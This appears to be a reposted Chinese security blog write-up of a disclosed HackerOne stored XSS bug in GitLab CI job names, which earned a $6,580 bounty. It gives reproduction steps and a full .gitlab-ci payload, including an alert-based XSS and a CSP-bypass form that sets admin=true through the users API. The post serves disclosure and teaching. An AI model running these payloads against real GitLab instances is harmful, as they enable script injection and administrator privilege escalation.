【$6580】GitLab最新披露的一处XSS漏洞

渗透技巧 2年前 (2022) admin
594 0 0

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。


背景介绍:


最近GitLab在hackerone平台上公开披露了一处存储型XSS漏洞,该漏洞发现于今年的5月份,让我们来看看这个漏洞是如何被触发的。


漏洞复现:


复现步骤:

1、在现有项目或创建新项目中,添加包含以下内容的 .gitlab.ci 文件:

'1. XSS when no CSP<a class="fixed-top fixed-bottom text-hide gl-font-size-42 cursor-default" href=# data-disable-with="<img src=x onerror=alert(document.domain)>">':  stage: build  script: echo "hi"
'2. Admin escalation when having CSP<form action=/api/v4/users/5212593?_method=PUT&admin=true method=post><input type=submit class="fixed-top fixed-bottom text-hide cursor-default" style="font-size:10000px" value=Submit>': stage: build script: echo "hi"
trigger-xss: stage: test script: echo "hi" dependencies: - '1. XSS when no CSP<a class="fixed-top fixed-bottom text-hide gl-font-size-42 cursor-default" href=# data-disable-with="<img src=x onerror=alert(document.domain)>">' - '2. Admin escalation when having CSP<form action=/api/v4/users/5212593?_method=PUT&admin=true method=post><input type=submit class="fixed-top fixed-bottom text-hide cursor-default" style="font-size:10000px" value=Submit>'


2、转到 CI/CD/Jobs 选项卡并等待 CI 作业完成


3、如果要在没有 CSP 保护的本地实例上进行测试,需要单击 detail of the job:

<a class="fixed-top fixed-bottom text-hide gl-font-size-42 cursor-default" href=# >

然后单击右侧文字栏上的”回收站”按钮以删除作业日志和工件。

4、返回作业列表,单击Trigger-XSS 链接以查看此作业的详细信息,然后单击右侧文字栏上的重试按钮以重试该作业


5、此时会出现一条错误信息:此作业无法启动,因为它无法检索所需的工件,然后单击任意位置就会触发XSS弹窗警告⚠️


白帽子还特意录了一段复现视频:

最终白帽子获得了 GitLab 发放的$6,580赏金奖励。


这个漏洞的关键仍在于CSP Bypass,白帽子通过研究CSP Bypass,最终构造了能够成功绕过CSP的XSS Payload:


<a class="fixed-top fixed-bottom text-hide gl-font-size-42 cursor-default" href=# >'

你学废了么?

漏洞信息原地址:https://hackerone.com/reports/1579645

====正文结束====

原文始发于微信公众号(骨哥说事):【$6580】GitLab最新披露的一处XSS漏洞

版权声明:admin 发表于 2022年11月16日 下午2:40。
转载请注明:【$6580】GitLab最新披露的一处XSS漏洞 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...